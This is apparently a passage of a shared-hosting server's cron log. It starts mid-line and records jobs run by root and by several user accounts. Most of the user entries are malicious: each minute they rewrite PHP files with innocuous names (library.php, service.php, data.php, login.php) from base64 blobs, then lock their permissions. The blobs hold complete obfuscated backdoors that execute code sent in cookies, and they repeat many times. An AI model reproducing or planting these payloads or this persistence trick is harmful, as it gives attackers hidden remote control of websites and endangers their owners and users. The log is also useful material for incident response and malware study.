NzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:42:01 medusa CROND[24396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:43:01 medusa CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:43:01 medusa CROND[26041]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:43:01 medusa CROND[26042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:43:01 medusa CROND[26043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:43:01 medusa CROND[26044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:43:01 medusa CROND[26045]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:43:01 medusa CROND[26046]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:43:01 medusa CROND[26047]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 08:43:01 medusa CROND[26048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:43:01 medusa CROND[26049]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:43:01 medusa CROND[26050]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:43:01 medusa CROND[26053]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 08:43:01 medusa CROND[26066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:43:01 medusa CROND[26068]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:44:01 medusa CROND[27616]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:44:01 medusa CROND[27662]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:44:01 medusa CROND[27663]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:44:01 medusa CROND[27664]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:44:01 medusa CROND[27665]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:44:01 medusa CROND[27666]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:44:01 medusa CROND[27667]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:44:01 medusa CROND[27661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:44:01 medusa CROND[27671]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:44:01 medusa CROND[27672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:44:01 medusa CROND[27673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:44:01 medusa CROND[27674]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:44:01 medusa CROND[27675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:45:01 medusa CROND[29361]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:45:01 medusa CROND[29365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:45:01 medusa CROND[29369]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:45:01 medusa CROND[29376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:45:01 medusa CROND[29377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:45:01 medusa CROND[29378]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:45:01 medusa CROND[29380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:45:01 medusa CROND[29381]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:45:01 medusa CROND[29382]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:45:01 medusa CROND[29383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:45:01 medusa CROND[29379]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
